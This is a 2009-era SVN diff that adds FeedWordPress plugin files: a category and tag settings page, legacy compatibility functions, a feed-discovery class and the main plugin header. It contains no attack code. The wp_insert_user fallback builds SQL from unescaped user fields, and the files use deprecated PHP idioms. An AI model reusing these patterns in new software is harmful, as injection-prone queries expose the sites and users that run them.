+	if (isset($GLOBALS['fwp_post']['save']) or isset($GLOBALS['fwp_post']['fix_mismatch'])) :
+		$link_id = $_REQUEST['save_link_id'];
+	elseif (isset($_REQUEST['link_id'])) :
+		$link_id = $_REQUEST['link_id'];
+	else :
+		$link_id = NULL;
+	endif;
+
+	if (is_numeric($link_id) and $link_id) :
+		$link =& new SyndicatedLink($link_id);
+	else :
+		$link = NULL;
+	endif;
+
+	$mesg = null;
+
+	////////////////////////////////////////////////
+	// Process POST request, if any /////////////////
+	////////////////////////////////////////////////
+	if (isset($GLOBALS['fwp_post']['save'])) :
+		$saveCats = array();
+		if (isset($GLOBALS['fwp_post']['post_category'])) :
+			foreach ($GLOBALS['fwp_post']['post_category'] as $cat_id) :
+				$saveCats[] = '{#'.$cat_id.'}';
+			endforeach;
+		endif;
+
+		// Different variable names to cope with different WordPress AJAX UIs
+		$syndicatedTags = array();
+		if (isset($GLOBALS['fwp_post']['tax_input']['post_tag'])) :
+			$syndicatedTags = explode(",", $GLOBALS['fwp_post']['tax_input']['post_tag']);
+		elseif (isset($GLOBALS['fwp_post']['tags_input'])) :
+			$syndicatedTags = explode(",", $GLOBALS['fwp_post']['tags_input']);
+		endif;
+		$syndicatedTags = array_map('trim', $syndicatedTags);
+
+		if (is_object($link) and $link->found()) :
+			$alter = array ();
+
+			// Categories
+			if (!empty($saveCats)) : $link->settings['cats'] = $saveCats;
+			else : unset($link->settings['cats']);
+			endif;
+
+			// Tags
+			$link->settings['tags'] = $syndicatedTags;
+
+			// Unfamiliar categories
+			if (isset($GLOBALS['fwp_post']["unfamiliar_category"])) :
+				if ('site-default'==$GLOBALS['fwp_post']["unfamiliar_category"]) :
+					unset($link->settings["unfamiliar category"]);
+				else :
+					$link->settings["unfamiliar category"] = $GLOBALS['fwp_post']["unfamiliar_category"];
+				endif;
+			endif;
+
+			// Category spitting regex
+			if (isset($GLOBALS['fwp_post']['cat_split'])) :
+				if (strlen(trim($GLOBALS['fwp_post']['cat_split'])) > 0) :
+					$link->settings['cat_split'] = trim($GLOBALS['fwp_post']['cat_split']);
+				else :
+					unset($link->settings['cat_split']);
+				endif;
+			endif;
+
+			$alter[] = "link_notes = '".$wpdb->escape($link->settings_to_notes())."'";
+
+			$alter_set = implode(", ", $alter);
+
+			// issue update query
+			$result = $wpdb->query("
+			UPDATE $wpdb->links
+			SET $alter_set
+			WHERE link_id='$link_id'
+			");
+			$updated_link = true;
+
+			// reload link information from DB
+			if (function_exists('clean_bookmark_cache')) :
+				clean_bookmark_cache($link_id);
+			endif;
+			$link =& new SyndicatedLink($link_id);
+		else :
+			// Categories
+			if (!empty($saveCats)) :
+				update_option('feedwordpress_syndication_cats', implode(FEEDWORDPRESS_CAT_SEPARATOR, $saveCats));
+			else :
+				delete_option('feedwordpress_syndication_cats');
+			endif;
+	
+			// Tags
+			if (!empty($syndicatedTags)) :
+				update_option('feedwordpress_syndication_tags', implode(FEEDWORDPRESS_CAT_SEPARATOR, $syndicatedTags));
+			else :
+				delete_option('feedwordpress_syndication_tags');
+			endif;
+
+			update_option('feedwordpress_unfamiliar_category', $_REQUEST['unfamiliar_category']);
+
+			$updated_link = true;
+		endif;
+	else :
+		$updated_link = false;
+	endif;
+
+	////////////////////////////////////////////////
+	// Get defaults from database //////////////////
+	////////////////////////////////////////////////
+	
+	$unfamiliar = array ('create'=>'','tag' => '', 'default'=>'','filter'=>'');
+	if (is_object($link) and $link->found()) :
+		$unfamiliar['site-default'] = '';
+		$ucKey = $link->settings["unfamiliar category"];
+		$ucDefault = 'site-default';
+
+		if (is_array($link->settings['cats'])) : $cats = $link->settings['cats'];
+		else : $cats = array();
+		endif;
+
+		$tags = $link->settings['tags'];
+	else :
+		$ucKey = FeedWordPress::on_unfamiliar('category');
+		$ucDefault = 'create';
+
+		$cats = array_map('trim',
+			preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, get_option('feedwordpress_syndication_cats'))
+		);
+		$tags = array_map('trim',
+			preg_split(FEEDWORDPRESS_CAT_SEPARATOR_PATTERN, get_option('feedwordpress_syndication_tags'))
+		);
+	endif;
+
+	if (!is_string($ucKey) or !array_key_exists($ucKey, $unfamiliar)) :
+		$ucKey = $ucDefault;
+	endif;
+	$unfamiliar[$ucKey] = ' checked="checked"';
+
+	$dogs = SyndicatedPost::category_ids($cats, /*unfamiliar=*/ NULL);
+?>
+<script type="text/javascript">
+	function contextual_appearance (item, appear, disappear, value, visibleStyle, checkbox) {
+		if (typeof(visibleStyle)=='undefined') visibleStyle = 'block';
+
+		var rollup=document.getElementById(item);
+		var newuser=document.getElementById(appear);
+		var sitewide=document.getElementById(disappear);
+		if (rollup) {
+			if ((checkbox && rollup.checked) || (!checkbox && value==rollup.value)) {
+				if (newuser) newuser.style.display=visibleStyle;
+				if (sitewide) sitewide.style.display='none';
+			} else {
+				if (newuser) newuser.style.display='none';
+				if (sitewide) sitewide.style.display=visibleStyle;
+			}
+		}
+	}
+</script>
+
+<?php if ($updated_link) : ?>
+<div class="updated"><p>Syndicated categories and tags settings updated.</p></div>
+<?php elseif (!is_null($mesg)) : ?>
+<div class="updated"><p><?php print wp_specialchars($mesg, 1); ?></p></div>
+<?php endif; ?>
+
+<div class="wrap">
+<form style="position: relative" action="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php echo basename(__FILE__); ?>" method="post">
+<div><?php
+	FeedWordPressCompatibility::stamp_nonce('feedwordpress_categories_settings');
+
+	if (is_numeric($link_id) and $link_id) :
+?>
+<input type="hidden" name="save_link_id" value="<?php echo $link_id; ?>" />
+<?php
+	else :
+?>
+<input type="hidden" name="save_link_id" value="*" />
+<?php
+	endif;
+?>
+</div>
+
+<?php $links = FeedWordPress::syndicated_links(); ?>
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<div class="icon32"><img src="<?php print htmlspecialchars(WP_PLUGIN_URL.'/'.$GLOBALS['fwp_path'].'/feedwordpress.png'); ?>" alt="" /></div>
+<?php endif; ?>
+<h2>Categories &amp; Tags Settings<?php if (!is_null($link) and $link->found()) : ?>: <?php echo wp_specialchars($link->link->link_name, 1); ?><?php endif; ?></h2>
+
+<style type="text/css">
+	table.edit-form th { width: 27%; vertical-align: top; }
+	table.edit-form td { width: 73%; vertical-align: top; }
+	table.edit-form td ul.options { margin: 0; padding: 0; list-style: none; }
+</style>
+
+<?php if (fwp_test_wp_version(FWP_SCHEMA_27)) : ?>
+	<style type="text/css">	
+	#post-search {
+		float: right;
+		margin:11px 12px 0;
+		min-width: 130px;
+		position:relative;
+	}
+	.fwpfs {
+		color: #dddddd;
+		background:#797979 url(<?php bloginfo('home') ?>/wp-admin/images/fav.png) repeat-x scroll left center;
+		border-color:#777777 #777777 #666666 !important; -moz-border-radius-bottomleft:12px;
+		-moz-border-radius-bottomright:12px;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		border-style:solid;
+		border-width:1px;
+		line-height:15px;
+		padding:3px 30px 4px 12px;
+	}
+	.fwpfs.slide-down {
+		border-bottom-color: #626262;
+		-moz-border-radius-bottomleft:0;
+		-moz-border-radius-bottomright:0;
+		-moz-border-radius-topleft:12px;
+		-moz-border-radius-topright:12px;
+		background-image:url(<?php bloginfo('home') ?>/wp-admin/images/fav-top.png);
+		background-position:0 top;
+		background-repeat:repeat-x;
+		border-bottom-style:solid;
+		border-bottom-width:1px;
+	}
+	</style>
+	
+	<script type="text/javascript">
+		jQuery(document).ready(function($){
+			$('.fwpfs').toggle(
+				function(){$('.fwpfs').removeClass('slideUp').addClass('slideDown'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideDown') ) { $('.fwpfs').addClass('slide-down'); }}, 10) },
+				function(){$('.fwpfs').removeClass('slideDown').addClass('slideUp'); setTimeout(function(){if ( $('.fwpfs').hasClass('slideUp') ) { $('.fwpfs').removeClass('slide-down'); }}, 10) }
+			);
+			$('.fwpfs').bind(
+				'change',
+				function () { this.form.submit(); }
+			);
+			$('#post-search .button').css( 'display', 'none' );
+		});
+	</script>
+<?php endif; /* else : */?>
+<p id="post-search">
+<select name="link_id" class="fwpfs" style="max-width: 20.0em;">
+  <option value="*"<?php if (is_null($link) or !$link->found()) : ?> selected="selected"<?php endif; ?>>- defaults for all feeds -</option>
+<?php if ($links) : foreach ($links as $ddlink) : ?>
+  <option value="<?php print (int) $ddlink->link_id; ?>"<?php if (!is_null($link) and ($link->link->link_id==$ddlink->link_id)) : ?> selected="selected"<?php endif; ?>><?php print wp_specialchars($ddlink->link_name, 1); ?></option>
+<?php endforeach; endif; ?>
+</select>
+<input class="button" type="submit" name="go" value="<?php _e('Go') ?> &raquo;" />
+</p>
+<?php /* endif; */ ?>
+
+<?php if (!is_null($link) and $link->found()) : ?>
+	<p>These settings only affect posts syndicated from
+	<strong><?php echo wp_specialchars($link->link->link_name, 1); ?></strong>.</p>
+<?php else : ?>
+	<p>These settings affect posts syndicated from any feed unless they are overridden
+	by settings for that specific feed.</p>
+<?php endif; ?>
+
+<div id="poststuff">
+<div id="post-body">
+<?php
+	fwp_option_box_opener("Feed Categories & Tags", 'fromfeeddiv', 'postbox');
+?>
+<table class="edit-form">
+<tr>
+<th scope="row">Unfamiliar categories:</th>
+<td><p>When one of the categories on a syndicated post is a category that FeedWordPress has not encountered before ...</p>
+
+<ul class="options">
+<?php if (is_object($link) and ($link->found())) : ?>
+<li><label><input type="radio" name="unfamiliar_category" value="site-default"<?php echo $unfamiliar['site-default']; ?> /> use the <a href="admin.php?page=<?php print $GLOBALS['fwp_path'] ?>/<?php print basename(__FILE__); ?>">site-wide setting</a>
+(currently <strong><?php echo FeedWordPress::on_unfamiliar('category'); ?></strong>)</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="unfamiliar_category" value="create"<?php echo $unfamiliar['create']; ?> /> create a new category</label></li>
+
+<?php if (fwp_test_wp_version(FWP_SCHEMA_23)) : ?>
+<li><label><input type="radio" name="unfamiliar_category" value="tag"<?php echo $unfamiliar['tag']; ?>/> create a new tag</label></li>
+<?php endif; ?>
+
+<li><label><input type="radio" name="unfamiliar_category" value="default"<?php echo $unfamiliar['default']; ?> /> don't create new categories<?php if (fwp_test_wp_version(FWP_SCHEMA_23)) : ?> or tags<?php endif; ?></label></li>
+<li><label><input type="radio" name="unfamiliar_category" value="filter"<?php echo $unfamiliar['filter']; ?> /> don't create new categories<?php if (fwp_test_wp_version(FWP_SCHEMA_23)) : ?> or tags<?php endif; ?> and don't syndicate posts unless they match at least one familiar category</label></li>
+</ul></td>
+</tr>
+
+<?php if (is_object($link) and $link->found()) : ?>
+<tr>
+<th scope="row">Multiple categories:</th>
+<td> 
+<input type="text" size="20" id="cat_split" name="cat_split" value="<?php if (isset($link->settings['cat_split'])) : echo htmlspecialchars($link->settings['cat_split']); endif; ?>" />
+<p class="setting-description">Enter a <a href="http://us.php.net/manual/en/reference.pcre.pattern.syntax.php">Perl-compatible regular expression</a> here if the feed provides multiple
+categories in a single category element. The regular expression should match
+the characters used to separate one category from the next. If the feed uses
+spaces (like <a href="http://del.icio.us/">del.icio.us</a>), use the pattern "\s".
+If the feed does not provide multiple categories in a single element, leave this
+blank.</p></td>
+</tr>
+<?php endif; ?>
+</table>
+<?php
+	fwp_option_box_closer();
+	fwp_linkedit_periodic_submit();
+?>
+<?php
+	fwp_option_box_opener(__('Categories'), 'categorydiv', 'postbox');
+	fwp_category_box($dogs, 'all syndicated posts'.((is_object($link) and $link->found()) ? ' from this feed':''));
+?>
+<?php
+	fwp_option_box_closer();
+	fwp_linkedit_periodic_submit();
+	
+if (fwp_test_wp_version(FWP_SCHEMA_25)) :
+	fwp_tags_box($tags, 'all syndicated posts'.((is_object($link) and $link->found()) ? ' from this feed':''));
+	fwp_linkedit_periodic_submit();
+endif; ?>
+</div>
+</div>
+
+<p class="submit">
+<input class="button-primary" type="submit" name="save" value="Save Changes" />
+</p>
+
+<script type="text/javascript">
+	contextual_appearance('unfamiliar-author', 'unfamiliar-author-newuser', 'unfamiliar-author-default', 'newuser', 'inline');
+<?php if (is_object($link) and $link->found()) : ?>
+<?php 	for ($j=1; $j<=$i; $j++) : ?>
+	contextual_appearance('author-rules-<?php echo $j; ?>', 'author-rules-<?php echo $j; ?>-newuser', 'author-rules-<?php echo $j; ?>-default', 'newuser', 'inline');
+<?php 	endfor; ?>
+	contextual_appearance('add-author-rule', 'add-author-rule-newuser', 'add-author-rule-default', 'newuser', 'inline');
+	contextual_appearance('fix-mismatch-to', 'fix-mismatch-to-newuser', null, 'newuser', 'inline');
+<?php else : ?>
+	contextual_appearance('match-author-by-email', 'unless-null-email', null, 'yes', 'block', /*checkbox=*/ true);
+<?php endif; ?>
+</script>
+</form>
+</div> <!-- class="wrap" -->
+<?php
+} /* function fwp_categories_page () */
+
+	fwp_categories_page();
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/compatability.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/compatability.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/compatability.php	(revision 44)
@@ -0,0 +1,209 @@
+<?php
+################################################################################
+## LEGACY API: Replicate or mock up functions for legacy support purposes ######
+################################################################################
+
+// version testing
+function fwp_test_wp_version ($floor, $ceiling = NULL) {
+	global $wp_db_version;
+	
+	$ver = (isset($wp_db_version) ? $wp_db_version : 0);
+	$good = ($ver >= $floor);
+	if (!is_null($ceiling)) :
+		$good = ($good and ($ver < $ceiling));
+	endif;
+	return $good;
+} /* function fwp_test_wp_version () */
+
+class FeedWordPressCompatibility {
+	/*static*/ function validate_http_request ($action = -1, $capability = null) {
+		// Only worry about this if we're using a method with significant side-effects
+		if (strtoupper($_SERVER['REQUEST_METHOD']) == 'POST') :
+			// Limit post by user capabilities
+			if (!is_null($capability) and !current_user_can($capability)) :
+				wp_die(__('Cheatin&#8217; uh?'));
+			endif;
+
+			// If check_admin_referer() checks a nonce.
+			if (function_exists('wp_verify_nonce')) :
+				check_admin_referer($action);
+
+			// No nonces means no checking nonces.
+			else :
+				check_admin_referer();
+			endif;
+		endif;
+	} /* FeedWordPressCompatibility::validate_http_request() */
+	
+	/*static*/ function stamp_nonce ($action = -1) {
+		// stamp form with hidden fields for a nonce in WP 2.0.3 & later
+		if (function_exists('wp_nonce_field')) :
+			wp_nonce_field($action);
+		endif;
+	} /* FeedWordPressCompatibility::stamp_nonce() */
+} /* class FeedWordPressCompatibility */
+
+if (!function_exists('stripslashes_deep')) {
+	function stripslashes_deep($value) {
+		$value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
+		return $value;
+	}
+}
+
+if (!function_exists('get_option')) {
+	function get_option ($option) {
+		return get_settings($option);
+	}
+}
+if (!function_exists('current_user_can')) {
+	$fwp_capability['manage_options'] = 6;
+	$fwp_capability['manage_links'] = 5;
+	function current_user_can ($task) {
+		global $user_level;
+
+		$can = false;
+
+		// This is **not** a full replacement for current_user_can. It
+		// is only for checking the capabilities we care about via the
+		// WordPress 1.5 user levels.
+		switch ($task) :
+		case 'manage_options':
+			$can = ($user_level >= 6);
+			break;
+		case 'manage_links':
+			$can = ($user_level >= 5);
+			break;
+		case 'edit_files':
+			$can = ($user_level >= 9);
+			break;
+		endswitch;
+		return $can;
+	}
+} else {
+	$fwp_capability['manage_options'] = 'manage_options';
+	$fwp_capability['manage_links'] = 'manage_links';
+}
+if (!function_exists('sanitize_user')) {
+	function sanitize_user ($text, $strict = false) {
+		return $text; // Don't munge it if it wasn't munged going in...
+	}
+}
+if (!function_exists('wp_insert_user')) {
+	function wp_insert_user ($userdata) {
+		global $wpdb;
+
+		#-- Help WordPress 1.5.x quack like a duck
+		$login = $userdata['user_login'];
+		$author = $userdata['display_name'];
+		$nice_author = $userdata['user_nicename'];
+		$email = $userdata['user_email'];
+		$url = $userdata['user_url'];
+
+		$wpdb->query (
+			"INSERT INTO $wpdb->users
+			 SET
+				ID='0',
+				user_login='$login',
+				user_firstname='$author',
+				user_nickname='$author',
+				user_nicename='$nice_author',
+				user_description='$author',
+				user_email='$email',
+				user_url='$url'");
+		$id = $wpdb->insert_id;
+		
+		return $id;
+	}
+} /* if (!function_exists('wp_insert_user')) */
+
+if (!function_exists('wp_die')) {
+	function wp_die ( $message, $title = '', $args = array() ) {
+		die($message);
+	} /* wp_die() */
+} /* if */
+
+function fwp_category_checklist ($post_id = 0, $descendents_and_self = 0, $selected_cats = false) {
+	if (function_exists('wp_category_checklist')) :
+		wp_category_checklist($post_id, $descendents_and_self, $selected_cats);
+	else :
+		// selected_cats is an array of integer cat_IDs / term_ids for
+		// the categories that should be checked
+		global $post_ID;
+
+		$cats = get_nested_categories();
+		
+		// Undo damage from usort() in WP 2.0
+		$dogs = array();
+		foreach ($cats as $cat) :
+			$dogs[$cat['cat_ID']] = $cat;
+		endforeach;
+		foreach ($selected_cats as $cat_id) :
+			$dogs[$cat_id]['checked'] = true;
+		endforeach;
+		write_nested_categories($dogs);
+	endif;
+}
+
+function fwp_time_elapsed ($ts) {
+	if (function_exists('human_time_diff')) :
+		if ($ts >= time()) :
+			$ret = __(human_time_diff($ts)." from now");
+		else :
+			$ret = __(human_time_diff($ts)." ago");
+		endif;
+	else :
+		$ret = strftime('%x %X', $ts);
+	endif;
+	return $ret;
+}
+
+################################################################################
+## UPGRADE INTERFACE: Have users upgrade DB from older versions of FWP #########
+################################################################################
+
+function fwp_upgrade_page () {
+	if (isset($GLOBALS['fwp_post']['action']) and $GLOBALS['fwp_post']['action']=='Upgrade') :
+		$ver = get_option('feedwordpress_version');
+		if (get_option('feedwordpress_version') != FEEDWORDPRESS_VERSION) :
+			echo "<div class=\"wrap\">\n";
+			echo "<h2>Upgrading FeedWordPress...</h2>";
+
+			$feedwordpress =& new FeedWordPress;
+			$feedwordpress->upgrade_database($ver);
+			echo "<p><strong>Done!</strong> Upgraded database to version ".FEEDWORDPRESS_VERSION.".</p>\n";
+			echo "<form action=\"\" method=\"get\">\n";
+			echo "<div class=\"submit\"><input type=\"hidden\" name=\"page\" value=\"syndication.php\" />";
+			echo "<input type=\"submit\" value=\"Continue &raquo;\" /></form></div>\n";
+			echo "</div>\n";
+			return;
+		else :
+			echo "<div class=\"updated\"><p>Already at version ".FEEDWORDPRESS_VERSION."!</p></div>";
+		endif;
+	endif;
+?>
+<div class="wrap">
+<h2>Upgrade FeedWordPress</h2>
+
+<p>It appears that you have installed FeedWordPress
+<?php echo FEEDWORDPRESS_VERSION; ?> as an upgrade to an existing installation of
+FeedWordPress. That's no problem, but you will need to take a minute out first
+to upgrade your database: some necessary changes in how the software keeps
+track of posts and feeds will cause problems such as duplicate posts and broken
+templates if we were to continue without the upgrade.</p>
+
+<p>Note that most of FeedWordPress's functionality is temporarily disabled
+until we have successfully completed the upgrade. Everything should begin
+working as normal again once the upgrade is complete. There's extraordinarily
+little chance of any damage as the result of the upgrade, but if you're paranoid
+like me you may want to back up your database before you proceed.</p>
+
+<p>This may take several minutes for a large installation.</p>
+
+<form action="" method="post">
+<?php FeedWordPressCompatibility::stamp_nonce('feedwordpress_upgrade'); ?>
+<div class="submit"><input type="submit" name="action" value="Upgrade" /></div>
+</form>
+</div>
+<?php
+} // function fwp_upgrade_page ()
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedfinder.class.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedfinder.class.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedfinder.class.php	(revision 44)
@@ -0,0 +1,184 @@
+<?php
+################################################################################
+## class FeedFinder: find likely feeds using autodetection and/or guesswork ####
+################################################################################
+
+class FeedFinder {
+	var $uri = NULL;
+	var $_cache_uri = NULL;
+	
+	var $verify = FALSE;
+	
+	var $_response = NULL;
+	var $_data = NULL;
+	var $_error = NULL;
+	var $_head = NULL;
+
+	# -- Recognition patterns
+	var $_feed_types = array(
+		'application/rss+xml',
+		'text/xml',
+		'application/atom+xml',
+		'application/x.atom+xml',
+                'application/x-atom+xml'
+	);
+	var $_feed_markers = array('\\<feed', '\\<rss', 'xmlns="http://purl.org/rss/1.0');
+	var $_html_markers = array('\\<html');
+	var $_obvious_feed_url = array('[./]rss', '[./]rdf', '[./]atom', '[./]feed', '\.xml');
+	var $_maybe_feed_url = array ('rss', 'rdf', 'atom', 'feed', 'xml');
+
+	function FeedFinder ($uri = NULL, $verify = TRUE) {
+		$this->uri = $uri; $this->verify = $verify;
+	} /* FeedFinder::FeedFinder () */
+
+	function find ($uri = NULL) {
+		$ret = array ();
+		if (!is_null($this->data($uri))) {
+			if ($this->is_feed($uri)) {
+				$ret = array($this->uri);
+			} else {
+				// Assume that we have HTML or XHTML (even if we don't, who's it gonna hurt?)
+				// Autodiscovery is the preferred method
+				$href = $this->_link_rel_feeds();
+				
+				// ... but we'll also take the little orange buttons
+				$href = array_merge($href, $this->_a_href_feeds(TRUE));
+				
+				// If all that failed, look harder
+				if (count($href) == 0) $href = $this->_a_href_feeds(FALSE);
+
+				// Our search may turn up duplicate URIs. We only need to do any given URI once.
+				// Props to Camilo <http://projects.radgeek.com/2008/12/14/feedwordpress-20081214/#comment-20090122160414>
+				$href = array_unique($href);
+
+				// Verify feeds and resolve relative URIs
+				foreach ($href as $u) {
+					$the_uri = Relative_URI::resolve($u, $this->uri);
+					if ($this->verify) {
+						$feed =& new FeedFinder($the_uri);
+						if ($feed->is_feed()) $ret[] = $the_uri;
+						$feed = NULL;
+					} else {
+						$ret[] = $the_uri;
+					}
+				} /* foreach */
+			} /* if */
+		} /* if */
+		return array_unique($ret);
+	} /* FeedFinder::find () */
+
+	function data ($uri = NULL) {
+		$this->_get($uri);
+		return $this->_data;
+	}
+
+	function status ($uri = NULL) {
+		$this->_get($uri);
+		
+		if (isset($this->_response->status)) :
+			$ret = $this->_response->status;
+		else :
+			$ret = NULL;
+		endif;
+		return $ret;
+	}
+
+	function error () {
+		return $this->_error;
+	}
+	
+	function is_feed ($uri = NULL) {
+		$data = $this->data($uri);
+
+		return (
+			preg_match (
+				"\007(".implode('|',$this->_feed_markers).")\007i",
+				$data
+			) and !preg_match (
+				"\007(".implode('|',$this->_html_markers).")\007i",
+				$data
+			)
+		);
+	} /* FeedFinder::is_feed () */
+
+	# --- Private methods ---
+	function _get ($uri = NULL) {
+		if ($uri) $this->uri = $uri;
+
+		// Is the result not yet cached?
+		if ($this->_cache_uri !== $this->uri) :
+			$headers['Connection'] = 'close';
+			$headers['Accept'] = 'application/atom+xml application/rdf+xml application/rss+xml application/xml text/html */*';
+			$headers['User-Agent'] = 'feedfinder/1.2 (compatible; PHP FeedFinder) +http://projects.radgeek.com/feedwordpress';
+
+			// Use function provided by MagpieRSS package
+			$client = _fetch_remote_file($this->uri, $headers);
+			if (isset($client->error)) :
+				$this->_error = $client->error;
+			else :
+				$this->_error = NULL;
+			endif;
+			$this->_response = $client;
+			$this->_data = $client->results;
+
+			// Kilroy was here
+			$this->_cache_uri = $this->uri;
+		endif;
+	} /* FeedFinder::_get () */
+
+ 	function _link_rel_feeds () {
+		$links = $this->_tags('link');
+		$link_count = count($links);
+
+		// now figure out which one points to the RSS file
+		$href = array ();
+		for ($n=0; $n<$link_count; $n++) {
+			if (strtolower($links[$n]['rel']) == 'alternate') {
+				if (in_array(strtolower($links[$n]['type']), $this->_feed_types)) {
+					$href[] = $links[$n]['href'];
+				} /* if */
+			} /* if */
+		} /* for */
+		return $href;
+	}
+
+	function _a_href_feeds ($obvious = TRUE) {
+		$pattern = ($obvious ? $this->_obvious_feed_url : $this->_maybe_feed_url);
+
+		$links = $this->_tags('a');
+		$link_count = count($links);
+
+		// now figure out which one points to the RSS file
+		$href = array ();
+		for ($n=0; $n<$link_count; $n++) {
+			if (preg_match("\007(".implode('|',$pattern).")\007i", $links[$n]['href'])) {
+				$href[] = $links[$n]['href'];
+			} /* if */
+		} /* for */
+		return $href;
+	}
+
+	function _tags ($tag) {
+		$html = $this->data();
+    
+		// search through the HTML, save all <link> tags
+		// and store each link's attributes in an associative array
+		preg_match_all('/<'.$tag.'\s+(.*?)\s*\/?>/si', $html, $matches);
+		$links = $matches[1];
+		$ret = array();
+		$link_count = count($links);
+		for ($n=0; $n<$link_count; $n++) {
+			$attributes = preg_split('/\s+/s', $links[$n]);
+			foreach($attributes as $attribute) {
+				$att = preg_split('/\s*=\s*/s', $attribute, 2);
+				if (isset($att[1])) {
+					$att[1] = preg_replace('/([\'"]?)(.*)\1/', '$2', $att[1]);
+					$final_link[strtolower($att[0])] = $att[1];
+				} /* if */
+			} /* foreach */
+			$ret[$n] = $final_link;
+		} /* for */
+		return $ret;
+	}
+} /* class FeedFinder */
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpress.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpress.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/feedwordpress/feedwordpress.php	(revision 44)
@@ -0,0 +1,1209 @@
+<?php
+/*
+Plugin Name: FeedWordPress
+Plugin URI: http://projects.radgeek.com/feedwordpress
+Description: simple and flexible Atom/RSS syndication for WordPress
+Version: 2009.0707
+Author: Charles Johnson
+Author URI: http://radgeek.com/
+License: GPL
+*/
+
+# This uses code derived from:
+# -	wp-rss-aggregate.php by Kellan Elliot-McCrea <kellan@protest.net>
+# -	HTTP Navigator 2 by Keyvan Minoukadeh <keyvan@k1m.com>
+# -	Ultra-Liberal Feed Finder by Mark Pilgrim <mark@diveintomark.org>
+# according to the terms of the GNU General Public License.
+#
+# INSTALLATION: see readme.txt or <http://projects.radgeek.com/install>
+#
+# USAGE: once FeedWordPress is installed, you manage just about everything from
+# the WordPress Dashboard, under the Syndication menu. To ensure that fresh
+# content is added as it becomes available, you can convince your contributors
+# to put your XML-RPC URI (if WordPress is installed at
+# <http://www.zyx.com/blog>, XML-RPC requests should be sent to
+# <http://www.zyx.com/blog/xmlrpc.php>), or update manually under the
+# Syndication menu, or set up automatic updates under Syndication --> Settings,
+# or use a cron job.
+
+# -- Don't change these unless you know what you're doing...
+
+define ('FEEDWORDPRESS_VERSION', '2009.0707');
+define ('FEEDWORDPRESS_AUTHOR_CONTACT', 'http://radgeek.com/contact');
+define ('DEFAULT_SYNDICATION_CATEGORY', 'Contributors');
+
+$feedwordpress_debug = get_option('feedwordpress_debug');
+if (is_string($feedwordpress_debug)) :
+	$feedwordpress_debug = ($feedwordpress_debug == 'yes');
+endif;
+define ('FEEDWORDPRESS_DEBUG', $feedwordpress_debug);
+
+define ('FEEDWORDPRESS_CAT_SEPARATOR_PATTERN', '/[:\n]/');
+define ('FEEDWORDPRESS_CAT_SEPARATOR', "\n");
+
+define ('FEEDVALIDATOR_URI', 'http://feedvalidator.org/check.cgi');
+
+define ('FEEDWORDPRESS_FRESHNESS_INTERVAL', 10*60); // Every ten minutes
+
+define ('FWP_SCHEMA_HAS_USERMETA', 2966);
+define ('FWP_SCHEMA_20', 3308); // Database schema # for WP 2.0
+define ('FWP_SCHEMA_21', 4772); // Database schema # for WP 2.1
+define ('FWP_SCHEMA_23', 5495); // Database schema # for WP 2.3
+define ('FWP_SCHEMA_25', 7558); // Database schema # for WP 2.5
+define ('FWP_SCHEMA_26', 8201); // Database schema # for WP 2.6
+define ('FWP_SCHEMA_27', 9872); // Database schema # for WP 2.7
+define ('FWP_SCHEMA_28', 11548); // Database schema # for WP 2.8
+
+if (FEEDWORDPRESS_DEBUG) :
+	// Help us to pick out errors, if any.
+	ini_set('error_reporting', E_ALL & ~E_NOTICE);
+	ini_set('display_errors', true);
+	define('MAGPIE_DEBUG', true);
+	
+	 // When testing we don't want cache issues to interfere. But this is
+	 // a VERY BAD SETTING for a production server. Webmasters will eat your 
+	 // face for breakfast if you use it, and the baby Jesus will cry. So
+	 // make sure FEEDWORDPRESS_DEBUG is FALSE for any site that will be
+	 // used for more than testing purposes!
+	define('MAGPIE_CACHE_AGE', 1);
+else :
+	define('MAGPIE_DEBUG', false);
+endif;
+
+// Note that the rss-functions.php that comes prepackaged with WordPress is
+// old & busted. For the new hotness, drop a copy of rss.php from
+// this archive into wp-includes/rss.php
+
+if (is_readable(ABSPATH . WPINC . '/rss.php')) :
+	require_once (ABSPATH . WPINC . '/rss.php');
+else :
+	require_once (ABSPATH . WPINC . '/rss-functions.php');
+endif;
+
+if (isset($wp_db_version)) :
+	if ($wp_db_version >= FWP_SCHEMA_23) :
+		require_once (ABSPATH . WPINC . '/registration.php'); 		// for wp_insert_user
+	elseif ($wp_db_version >= FWP_SCHEMA_21) : // WordPress 2.1 and 2.2, but not 2.3
+		require_once (ABSPATH . WPINC . '/registration.php'); 		// for wp_insert_user
+		require_once (ABSPATH . 'wp-admin/admin-db.php'); 		// for wp_insert_category 
+	elseif ($wp_db_version >= FWP_SCHEMA_20) : // WordPress 2.0
+		require_once (ABSPATH . WPINC . '/registration-functions.php');	// for wp_insert_user
+		require_once (ABSPATH . 'wp-admin/admin-db.php');		// for wp_insert_category
+	endif;
+endif;
+
+require_once(dirname(__FILE__) . '/compatability.php'); // LEGACY API: Replicate or mock up functions for legacy support purposes
+require_once(dirname(__FILE__) . '/feedwordpresshtml.class.php');
+
+// Magic quotes are just about the stupidest thing ever.
+if (is_array($_POST)) :
+	$fwp_post = stripslashes_deep($_POST);
+endif;
+
+// Get the path relative to the plugins directory in which FWP is stored
+preg_match (
+	'|/wp-content/plugins/(.+)$|',
+	dirname(__FILE__),
+	$ref
+);
+
+if (isset($ref[1])) :
+	$fwp_path = $ref[1];
+else : // Something went wrong. Let's just guess.
+	$fwp_path = 'feedwordpress';
+endif;
+
